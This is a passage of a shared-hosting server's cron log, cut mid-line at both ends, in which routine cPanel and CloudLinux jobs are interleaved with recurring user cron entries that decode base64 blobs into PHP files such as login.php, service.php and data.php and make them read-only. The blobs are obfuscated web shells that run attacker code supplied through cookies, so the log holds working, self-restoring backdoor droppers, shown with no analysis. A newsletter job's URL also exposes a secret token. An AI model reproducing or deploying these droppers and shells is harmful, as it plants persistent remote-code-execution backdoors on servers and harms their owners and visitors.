SAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:09:01 medusa CROND[23203]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:09:01 medusa CROND[23208]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:09:01 medusa CROND[23212]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:09:01 medusa CROND[23219]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:09:01 medusa CROND[23220]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:09:01 medusa CROND[23207]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 21:10:01 medusa CROND[9474]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 21:10:01 medusa CROND[9492]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 21:10:01 medusa CROND[9524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 21:10:01 medusa CROND[9594]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 21:10:01 medusa CROND[9690]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 21:10:01 medusa CROND[9899]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 21:10:01 medusa CROND[9908]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:10:01 medusa CROND[9906]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 21:10:01 medusa CROND[9905]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 21:10:01 medusa CROND[9909]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:10:01 medusa CROND[9914]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 21:10:01 medusa CROND[9916]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 21:10:01 medusa CROND[9917]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 21:10:01 medusa CROND[9907]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:10:01 medusa CROND[9921]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:10:01 medusa CROND[9940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:10:01 medusa CROND[9946]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:10:01 medusa CROND[9947]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:10:01 medusa CROND[9948]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:10:01 medusa CROND[9949]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:10:01 medusa CROND[9941]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 21:10:01 medusa CROND[9953]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:10:01 medusa CROND[9956]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:10:01 medusa CROND[9954]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 21:10:01 medusa CROND[9960]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 21:10:01 medusa CROND[9959]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 21:10:01 medusa CROND[9951]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 21:10:01 medusa CROND[9955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:11:01 medusa CROND[30181]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:11:01 medusa CROND[30387]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:11:01 medusa CROND[30389]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:11:01 medusa CROND[30391]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:11:01 medusa CROND[30388]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 21:11:01 medusa CROND[30392]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3R